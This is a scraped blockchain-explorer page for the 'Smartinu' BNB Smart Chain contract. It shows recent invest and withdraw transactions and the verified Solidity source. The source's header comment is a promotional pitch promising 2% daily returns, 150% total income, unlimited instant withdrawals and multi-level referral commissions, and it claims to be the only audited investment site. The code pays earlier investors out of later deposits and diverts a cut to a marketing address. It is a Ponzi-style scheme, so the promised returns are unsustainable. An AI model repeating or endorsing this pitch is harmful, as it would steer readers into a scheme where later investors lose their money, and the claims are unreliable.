Contract 0x8aa183a5e4e13b00cc3edd571971e4a036155953 2

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xff2b41957f43f0313667d31ce4628987a0371693b66ed123e5d9b0379335404aInvest118641722021-10-17 23:29:404 hrs 44 mins ago0x0fb3586775d082f42b8ae7a867b4b6f4d4522656 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530.25 BNB0.003033895
0xd93dfbf73e6074bd7dfa2b1031a8638def70c05e98d9f51168bd081cc3469af5Withdraw Dividen...118639642021-10-17 23:19:164 hrs 54 mins ago0xee002603822e2b922685d662661f91e3e59cbb55 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000370645
0xb3b2f2108a770ee361c70fd58cd33fc96182caf0ae249328146404ba67e9568bWithdraw Dividen...118633372021-10-17 22:47:055 hrs 26 mins ago0x0fb3586775d082f42b8ae7a867b4b6f4d4522656 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.00155469
0xea449da28cdf7915e3cad9ce797b64283d743d95008b2a641e96ee295d847ee1Withdraw Dividen...118626452021-10-17 22:12:296 hrs 1 min ago0x5a941a7b9b2a524c4c1ebfe7485aebee68142928 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000480765
0x4871d773f5cdaab38d787c1eea17e921b946ce410f5d64a13861dc71d0d55706Withdraw Dividen...118626302021-10-17 22:11:446 hrs 1 min ago0xc6b15f78215aa8c61f5dc40b53ac5530ea2e2be4 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.00103304
0x245980a8c21c4865e020dc7e10005d36c1df12c1f5a1dda529d4092e03065e9aInvest118611152021-10-17 20:55:327 hrs 18 mins ago0xcdb675b1d3cd97d049ab0b9ce68531c5f577644f IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530.01 BNB0.000557425
0x4fdb98c87a66c6655159817d6733b5884a8768675896914be775bbb13b5a3b2bWithdraw Dividen...118610902021-10-17 20:54:177 hrs 19 mins ago0xcdb675b1d3cd97d049ab0b9ce68531c5f577644f IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000370605
0x4d59f51a3412924beccbf4da331a3e81bf16d6c8e962e58dcf87595b768d63d3Withdraw Dividen...118600092021-10-17 19:59:528 hrs 13 mins ago0xbc4302f6b69a12cd760031dce429fbbcae070303 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000591515
0xfbc2985c22295298fe21d816ca2c2eece8dd407b891cb4c362c1e7f86beae4daWithdraw Dividen...118594202021-10-17 19:30:208 hrs 43 mins ago0xd2d9e198df7ee29fed81d014f3354c04b81759d9 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000520605
0x6844c3d2caa1337b5f24630d4b8dd290055e48e4a7a20a98497886980e41ddbeWithdraw Dividen...118593732021-10-17 19:27:598 hrs 45 mins ago0x4aace30a170a50da598ee0f24555d94271c6ef0d IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.001886055
0xdf5be7606deb97ae23b251fece78023a7427b08cab1784ea1808853140175669Withdraw Dividen...118593492021-10-17 19:26:478 hrs 46 mins ago0x4aace30a170a50da598ee0f24555d94271c6ef0d IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.00025
0xcd633bf2df2a63ab7745348bd44c7217897968f1b5d9c6723ea19464349cf0c1Withdraw Dividen...118584432021-10-17 18:41:229 hrs 32 mins ago0x6781a32e3e7ccfef448406637b1a66a4246369dd IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000370605
0x7d223749167497c04d190f1b6960f249fd4a53eb688f4b9db99029890bcf9470Invest118581132021-10-17 18:24:529 hrs 48 mins ago0x9fe851bf83c896ba81e0a361a7d380d5c3a293f6 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530.15 BNB0.00180245
0xec54edfb8acde4c3f7ef55456a0fe94a2869127ba586dc8d174b02c3f47e8f60Withdraw Dividen...118575262021-10-17 17:55:2910 hrs 18 mins ago0xd7592194f358e5ce2c5185ac708287db2cc19d89 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000812425
0x5a72f2bd06f2199154384c9e2267035b97ead39044170757b9f8f1e02ed16eb0Invest118564382021-10-17 17:01:0411 hrs 12 mins ago0xac3c1819ade8cdb14bbdbbe7be8c157dd9976551 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530.05 BNB0.003033895
0xd63843fbcace857927d7cdf79102cf69433ee5f7aee9f972d67aa83b175319d0Withdraw Dividen...118556872021-10-17 16:22:5911 hrs 50 mins ago0x9fe851bf83c896ba81e0a361a7d380d5c3a293f6 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.002517865
0x813ce8324efd17afe5460ccee23ea719c7bf9193e85ac6a1b1cfd2a54af6a480Withdraw Dividen...118543132021-10-17 15:12:3313 hrs 1 min ago0x66fc43e40d9023383c7dd2fca82e39a26aff8d4d IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000520645
0xabf2fd7719ae067f6b70ab126dc170c70b656325351d96667c89ce5dcfb45af4Invest118536172021-10-17 14:37:4413 hrs 35 mins ago0x8ae63c9eaa8257d731bb3738640e7514cfd6db6b IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530.01 BNB0.001462285
0xef000acbc4d8656ff4162527c9844874b8b1cfbc83d5a7690b1481a96aef4868Withdraw Dividen...118529642021-10-17 14:04:4714 hrs 8 mins ago0x6d669ebf1f83a0c34018b431fabacffb3f4b1719 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.00048106
0xf7191337d340c4fcb6678f6c72b018d7ef75d3ba3ecf0fe3de45eebf48b79d6fWithdraw Dividen...118512652021-10-17 12:39:1615 hrs 34 mins ago0xb58f53298ad4d1218531648d408d1719b6e5bcc2 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.00070197
0x198dcacce5e36c49df63e1ccb79ed427eeb47cd9bd068841dfd2510819ea568eWithdraw Dividen...118492622021-10-17 10:56:2417 hrs 17 mins ago0x6f090e961ccefab7fad912bc5154658b649f5b08 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000591515
0x2ae2ef831516e9d8f974e9c49fea183ead5f8b51bf57dc6eec375150d1fa5e20Withdraw Dividen...118491852021-10-17 10:52:3317 hrs 21 mins ago0x4aace30a170a50da598ee0f24555d94271c6ef0d IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.00175
0xc77550ec5f4f7d36a5e5a396ac76345114dfa534c89e05befbcced7ed6474a39Invest118483262021-10-17 10:09:3618 hrs 4 mins ago0x18aba3a802e4fee3dc6eaf64b91acefe78e7ee42 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530.3 BNB0.000557425
0xfb14eb69724d56b7cc6a9aef505529dbfe8a9b831b8a51eb9cab00f49156c4feWithdraw Dividen...118462692021-10-17 8:26:4519 hrs 46 mins ago0x01651b076b116a67f9adb994e7ca9070b11d15c4 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.000370645
0xcf623d59bfe0b592208b99a088bdd86cb44615c4760602b6e0901f696680241cWithdraw Dividen...118404872021-10-17 3:37:351 day 36 mins ago0x4fe2386297f5fcad55bef18b67e8a2a895ae80b8 IN  0x8aa183a5e4e13b00cc3edd571971e4a0361559530 BNB0.001223325
[ Download CSV Export 
Latest 25 internal transaction
Parent Txn Hash Block From To Value
0xff2b41957f43f0313667d31ce4628987a0371693b66ed123e5d9b0379335404a118641722021-10-17 23:29:404 hrs 44 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.0175 BNB
0xd93dfbf73e6074bd7dfa2b1031a8638def70c05e98d9f51168bd081cc3469af5118639642021-10-17 23:19:164 hrs 54 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530xee002603822e2b922685d662661f91e3e59cbb550.005128994444444444 BNB
0xb3b2f2108a770ee361c70fd58cd33fc96182caf0ae249328146404ba67e9568b118633372021-10-17 22:47:055 hrs 26 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x0fb3586775d082f42b8ae7a867b4b6f4d45226560.30419525 BNB
0xea449da28cdf7915e3cad9ce797b64283d743d95008b2a641e96ee295d847ee1118626452021-10-17 22:12:296 hrs 1 min ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x5a941a7b9b2a524c4c1ebfe7485aebee681429280.083084305555555554 BNB
0x4871d773f5cdaab38d787c1eea17e921b946ce410f5d64a13861dc71d0d55706118626302021-10-17 22:11:446 hrs 1 min ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530xc6b15f78215aa8c61f5dc40b53ac5530ea2e2be40.010413688437499996 BNB
0x245980a8c21c4865e020dc7e10005d36c1df12c1f5a1dda529d4092e03065e9a118611152021-10-17 20:55:327 hrs 18 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.0008 BNB
0x245980a8c21c4865e020dc7e10005d36c1df12c1f5a1dda529d4092e03065e9a118611152021-10-17 20:55:327 hrs 18 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.0007 BNB
0x4fdb98c87a66c6655159817d6733b5884a8768675896914be775bbb13b5a3b2b118610902021-10-17 20:54:177 hrs 19 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530xcdb675b1d3cd97d049ab0b9ce68531c5f577644f0.011320451851851851 BNB
0x4d59f51a3412924beccbf4da331a3e81bf16d6c8e962e58dcf87595b768d63d3118600092021-10-17 19:59:528 hrs 13 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530xbc4302f6b69a12cd760031dce429fbbcae0703030.0030610125 BNB
0xfbc2985c22295298fe21d816ca2c2eece8dd407b891cb4c362c1e7f86beae4da118594202021-10-17 19:30:208 hrs 43 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530xd2d9e198df7ee29fed81d014f3354c04b81759d90.003691059027777777 BNB
0x6844c3d2caa1337b5f24630d4b8dd290055e48e4a7a20a98497886980e41ddbe118593732021-10-17 19:27:598 hrs 45 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x4aace30a170a50da598ee0f24555d94271c6ef0d0.011502566666666658 BNB
0xcd633bf2df2a63ab7745348bd44c7217897968f1b5d9c6723ea19464349cf0c1118584432021-10-17 18:41:229 hrs 32 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x6781a32e3e7ccfef448406637b1a66a4246369dd0.135123668981481481 BNB
0x7d223749167497c04d190f1b6960f249fd4a53eb688f4b9db99029890bcf9470118581132021-10-17 18:24:529 hrs 48 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.0105 BNB
0xec54edfb8acde4c3f7ef55456a0fe94a2869127ba586dc8d174b02c3f47e8f60118575262021-10-17 17:55:2910 hrs 18 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530xd7592194f358e5ce2c5185ac708287db2cc19d890.065407399999999997 BNB
0x5a72f2bd06f2199154384c9e2267035b97ead39044170757b9f8f1e02ed16eb0118564382021-10-17 17:01:0411 hrs 12 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.0035 BNB
0xd63843fbcace857927d7cdf79102cf69433ee5f7aee9f972d67aa83b175319d0118556872021-10-17 16:22:5911 hrs 50 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x9fe851bf83c896ba81e0a361a7d380d5c3a293f60.459980581018518508 BNB
0x813ce8324efd17afe5460ccee23ea719c7bf9193e85ac6a1b1cfd2a54af6a480118543132021-10-17 15:12:3313 hrs 1 min ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x66fc43e40d9023383c7dd2fca82e39a26aff8d4d0.007801533819444444 BNB
0xabf2fd7719ae067f6b70ab126dc170c70b656325351d96667c89ce5dcfb45af4118536172021-10-17 14:37:4413 hrs 35 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.0007 BNB
0xef000acbc4d8656ff4162527c9844874b8b1cfbc83d5a7690b1481a96aef4868118529642021-10-17 14:04:4714 hrs 8 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x6d669ebf1f83a0c34018b431fabacffb3f4b17190.035500972222222222 BNB
0xf7191337d340c4fcb6678f6c72b018d7ef75d3ba3ecf0fe3de45eebf48b79d6f118512652021-10-17 12:39:1615 hrs 34 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530xb58f53298ad4d1218531648d408d1719b6e5bcc20.006653901388888886 BNB
0x198dcacce5e36c49df63e1ccb79ed427eeb47cd9bd068841dfd2510819ea568e118492622021-10-17 10:56:2417 hrs 17 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x6f090e961ccefab7fad912bc5154658b649f5b080.00807825 BNB
0xc77550ec5f4f7d36a5e5a396ac76345114dfa534c89e05befbcced7ed6474a39118483262021-10-17 10:09:3618 hrs 4 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.024 BNB
0xc77550ec5f4f7d36a5e5a396ac76345114dfa534c89e05befbcced7ed6474a39118483262021-10-17 10:09:3618 hrs 4 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x3039c34259bd4441b28123f867b2132cb559ee820.021 BNB
0xfb14eb69724d56b7cc6a9aef505529dbfe8a9b831b8a51eb9cab00f49156c4fe118462692021-10-17 8:26:4519 hrs 46 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x01651b076b116a67f9adb994e7ca9070b11d15c40.067061469444444444 BNB
0xcf623d59bfe0b592208b99a088bdd86cb44615c4760602b6e0901f696680241c118404872021-10-17 3:37:351 day 36 mins ago 0x8aa183a5e4e13b00cc3edd571971e4a0361559530x4fe2386297f5fcad55bef18b67e8a2a895ae80b80.0252745667875 BNB
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Smartinu

Compiler Version
v0.5.9+commit.c68bc34e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at BscScan.com on 2021-08-31
*/

/*
 *  www.SmartInu.app is a registered company in the UK (SMARTINU LTD) under the registration number - 13544859. We are the ONLY audited and verified smart contract investment website in the cryptocurrency space running on the Binance Smart Chain (BSC) network. As a user, you can join and try out this new crypto product with a very minimal investment of 0.01 BNB
 *
 * 
 *  Website: https://smartinu.app 
 *  Telegram Group: https://t.me/smartinu 
 *  中文說明: https://smartinu.app/ch 
 *
 *
 *
 *   [USAGE INSTRUCTION]
 *
 *   1) Instruction on How to Invest from our Website - https://smartinu.app/howtopc
 *   2) Instruction on How to Invest from BSCSCAN - https://smartinu.app/howtobsc
 *
 *   [INVESTMENT CONDITIONS]
 * 
 *   - Basic interest rate: +2% Every 24 hours (Earnings available on Balance every Second)
 *   - Personal hold-bonus: +0.1% for every 24 hours without withdrawal
 *   - Contract Total amount bonus: +0.05% for every 45 BNB on platform Contract Balance
 *   - Maximum Contract Total Amount Daily Profit for user - 7%. (Daily HODL Bonus not included).
 *
 *
 *   - Minimal Deposit: 0.01 BNB, No Maximum Limit
 *   - Total income: 150% (Deposit included)
 *   - Earnings are calculated Realtime, Withdraw any time without any Limits - Instantly From Smart Contract
 * 
 *   [AFFILIATE PROGRAM]
 *
 *   Share your referral link with your partners and get additional bonuses. Get your Referral link from www.Smartinu.App
 *   - 4 level referral commission: 5% - 2% - 0.5% - 0.5%
 *
 *   [FUNDS DISTRIBUTION]
 *
 *   - 85% Platform main balance, Participant Payouts
 *   - 7% Advertising and Promotion Expenses (Includes expenses for administration and Service)
 *   - 8% Affiliate program bonuses
 *
 *   ────────────────────────────────────────────────────────────────────────
 */
pragma solidity 0.5.9;

contract Smartinu {
	using SafeMath for uint256;
	
	uint256 constant public MinimumInvest = 10**18/100;
	uint256 constant public MarketingFee = 700;
	uint256[] public ReferralCommissions = [500, 200, 50, 50];
	uint256 constant public Day = 1 days;
	uint256 constant public ROICap = 15000;
	uint256 constant public PercentDiv = 10000;
	uint256 constant public ContractIncreaseEach = 45 * 10**18;
	uint256 constant public StartBonus = 200;
	uint256 constant public ContractBonusCap = 700;
	uint256 constant public HoldBonusCap = 100;
	
	uint256 public TotalInvestors;
	uint256 public TotalInvested;
	uint256 public TotalWithdrawn;
	uint256 public TotalDepositCount;
	uint256 public CurrentBonus;
	
	address payable public MarketingFeeAddress;

	struct Deposit {
		uint256 amount;
		uint256 withdrawn;
		uint256 start;
	}
	
	struct Commissions {
		address Downline;
		uint256 Earned;
		uint256 Invested;
		uint256 Level;
		uint256 DepositTime;
	}
	
	struct User {
		Deposit[] deposits;
		Commissions[] commissions;
		uint256 checkpoint;
		address upline;
		uint256 totalinvested;
		uint256 totalwithdrawn;
		uint256 totalcommisions;
		uint256 lvlonecommisions;
		uint256 lvltwocommisions;
		uint256 lvlthreecommisions;
		uint256 lvlfourcommisions;
		uint256 availablecommisions;
	}
	
	mapping (address => User)   internal users;
	
	event ReferralBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
	event NewDeposit(address indexed user, uint256 amount);
	event Withdrawal(address indexed user, uint256 amount);
	
	constructor(address payable MarketingAddress) public {
		require(!isContract(MarketingAddress));
		MarketingFeeAddress = MarketingAddress;
		CurrentBonus = StartBonus;
	}
	
	function Invest(address InvestorUpline) public payable {
		require(msg.value >= MinimumInvest);
		MarketingFeeAddress.transfer(msg.value.mul(MarketingFee).div(PercentDiv));
		
		User storage user = users[msg.sender];
		
		if (user.upline == address(0) && users[InvestorUpline].deposits.length > 0 && InvestorUpline != msg.sender) {
			user.upline = InvestorUpline;
		}
		
		if (user.upline != address(0)) {
			address upline = user.upline;
			for (uint256 i = 0; i < 4; i++) {
				if (upline != address(0)) {
					uint256 amount = msg.value.mul(ReferralCommissions[i]).div(PercentDiv);
					users[upline].totalcommisions = users[upline].totalcommisions.add(amount);
					users[upline].availablecommisions = users[upline].availablecommisions.add(amount);
					
					if(i == 0){
						users[upline].lvlonecommisions = users[upline].lvlonecommisions.add(amount);
					}
					if(i == 1){
						users[upline].lvltwocommisions = users[upline].lvltwocommisions.add(amount);
					}
					if(i == 2){
						users[upline].lvlthreecommisions = users[upline].lvlthreecommisions.add(amount);
					}
					if(i == 3){
						users[upline].lvlfourcommisions = users[upline].lvlfourcommisions.add(amount);
					}
					users[upline].commissions.push(Commissions(msg.sender, amount, msg.value, i, block.timestamp));
					emit ReferralBonus(upline, msg.sender, i, amount);
					upline = users[upline].upline;
				} else break;
			}
		}
		if (user.upline == address(0)) {
			uint256 advertise = 800;
			MarketingFeeAddress.transfer(msg.value.mul(advertise).div(PercentDiv));
		}
		if (user.deposits.length == 0) {
			user.checkpoint = block.timestamp;
			TotalInvestors = TotalInvestors.add(1);
		}

		user.deposits.push(Deposit(msg.value, 0, block.timestamp));
		user.totalinvested = user.totalinvested.add(msg.value);
		TotalDepositCount = TotalDepositCount.add(1);
		TotalInvested = TotalInvested.add(msg.value);
		UpdateContractBonus();
		emit NewDeposit(msg.sender, msg.value);
	}
	
	function WithdrawCommissions() public {
		User storage user = users[msg.sender];
		uint256 contractBalance = address(this).balance;
		uint256 toSend;
		require(user.availablecommisions > 0, "No commissions available");

		if (contractBalance < user.availablecommisions) {
			toSend = contractBalance;
			user.availablecommisions = user.availablecommisions.sub(toSend);
		}else{
			toSend = user.availablecommisions;
			user.availablecommisions = 0;
		}
		
		msg.sender.transfer(toSend);
		TotalWithdrawn = TotalWithdrawn.add(toSend);
		
		emit Withdrawal(msg.sender, toSend);
	}
	
	function WithdrawDividends() public {
		User storage user = users[msg.sender];
		uint256 userPercentRate = CurrentBonus.add(GetHoldBonus(msg.sender));
		uint256 toSend;
		uint256 dividends;
		uint256 ResetHoldBonus;

		for (uint256 i = 0; i < user.deposits.length; i++) {
			if (user.deposits[i].withdrawn < ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
				if (user.deposits[i].start > user.checkpoint) {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.deposits[i].start))
						.div(Day);
					ResetHoldBonus = ResetHoldBonus.add(1);
				} else {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.checkpoint))
						.div(Day);
					ResetHoldBonus = ResetHoldBonus.add(1);
				}
				if (user.deposits[i].withdrawn.add(dividends) >= ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
					dividends = (((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))).sub(user.deposits[i].withdrawn);
					ResetHoldBonus = 0;
				}
				user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends);
				toSend = toSend.add(dividends);
			}
		}

		require(toSend > 0, "No dividends available");

		uint256 contractBalance = address(this).balance;
		if (contractBalance < toSend) {
			toSend = contractBalance;
		}
		if(ResetHoldBonus != 0){
			user.checkpoint = block.timestamp;
		}
		msg.sender.transfer(toSend);
		TotalWithdrawn = TotalWithdrawn.add(toSend);
		user.totalwithdrawn = user.totalwithdrawn.add(toSend);
		emit Withdrawal(msg.sender, toSend);
	}
	
	function GetUserDividends(address userAddress) public view returns (uint256) {
		User storage user = users[userAddress];
		uint256 userPercentRate = CurrentBonus.add(GetHoldBonus(msg.sender));
		uint256 totalDividends;
		uint256 dividends;

		for (uint256 i = 0; i < user.deposits.length; i++) {
			if (user.deposits[i].withdrawn < ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
				if (user.deposits[i].start > user.checkpoint) {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.deposits[i].start))
						.div(Day);
				} else {
					dividends = (user.deposits[i].amount.mul(userPercentRate).div(PercentDiv))
						.mul(block.timestamp.sub(user.checkpoint))
						.div(Day);
				}
				if (user.deposits[i].withdrawn.add(dividends) > ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv))) {
					dividends = ((user.deposits[i].amount.mul(ROICap)).div(PercentDiv)).sub(user.deposits[i].withdrawn);
				}
				totalDividends = totalDividends.add(dividends);
			}
		}
		return totalDividends;
	}
	
	function ActiveClient(address userAddress) public view returns (bool) {
		User storage user = users[userAddress];
		if (user.deposits.length > 0) {
			if (user.deposits[user.deposits.length-1].withdrawn < ((user.deposits[user.deposits.length-1].amount.mul(ROICap)).div(PercentDiv))) {
				return true;
			}
		}
	}
	
	function UpdateContractBonus() internal {
		uint256 contractBalancePercent = (TotalInvested.div(ContractIncreaseEach)).mul(5);
		if(contractBalancePercent > ContractBonusCap){
			contractBalancePercent = ContractBonusCap;
		}
		CurrentBonus = StartBonus.add(contractBalancePercent);
	}
	
    function GetHoldBonus(address userAddress) public view returns (uint256) {
        User storage user = users[userAddress];
        if (user.checkpoint > 0) {
            uint256 timeMultiplier = ((now.sub(user.checkpoint)).div(Day)).mul(10);
            if(timeMultiplier > HoldBonusCap){
                timeMultiplier = HoldBonusCap;
            }
            return timeMultiplier;
        }else{
            return 0;
        }
    }
	
	function GetTotalCommission(address userAddress) public view returns(uint256) {
	    User storage user = users[userAddress];
		return (user.commissions.length);
	}

	function GetUserCommission(address userAddress, uint256 index) public view returns(address, uint256, uint256, uint256, uint256) {
	    User storage user = users[userAddress];
		return (user.commissions[index].Downline, user.commissions[index].Earned, user.commissions[index].Invested, user.commissions[index].Level, user.commissions[index].DepositTime);
	}

	function GetUserData(address userAddress) public view returns(address, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
	    User storage user = users[userAddress];
		return (user.upline, user.totalinvested, user.totalwithdrawn, user.totalcommisions, user.lvlonecommisions, user.lvltwocommisions, user.lvlthreecommisions, user.lvlfourcommisions, user.availablecommisions, user.checkpoint);
	}
	
	function GetUserTotalDeposits(address userAddress) public view returns(uint256) {
		return users[userAddress].deposits.length;
	}
	
	function GetUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
	    User storage user = users[userAddress];
		return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
	}
	
	function GetContractBalance() public view returns (uint256) {
		return address(this).balance;
	}
	
	function isContract(address addr) internal view returns (bool) {
        uint size;
        assembly { size := extcodesize(addr) }
        return size > 0;
    }
}

library SafeMath {
	
	function fxpMul(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) {
		return div(mul(a, b), base);
	}
		
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b <= a, "SafeMath: subtraction overflow");
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		require(b > 0, "SafeMath: division by zero");
		uint256 c = a / b;
		return c;
	}
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"TotalInvested","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TotalInvestors","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","type":"address"}],"name":"GetTotalCommission","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"TotalDepositCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MinimumInvest","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","type":"address"}],"name":"GetUserData","outputs":[{"name":"","type":"address"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","type":"address"}],"name":"GetUserDividends","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"WithdrawCommissions","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","type":"address"},{"name":"index","type":"uint256"}],"name":"GetUserDepositInfo","outputs":[{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"InvestorUpline","type":"address"}],"name":"Invest","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"TotalWithdrawn","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ContractBonusCap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"WithdrawDividends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"ROICap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","type":"address"},{"name":"index","type":"uint256"}],"name":"GetUserCommission","outputs":[{"name":"","type":"address"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"},{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"ReferralCommissions","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"HoldBonusCap","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","type":"address"}],"name":"GetHoldBonus","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"StartBonus","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"PercentDiv","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"CurrentBonus","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","type":"address"}],"name":"GetUserTotalDeposits","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MarketingFeeAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"Day","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MarketingFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"GetContractBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ContractIncreaseEach","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"userAddress","typ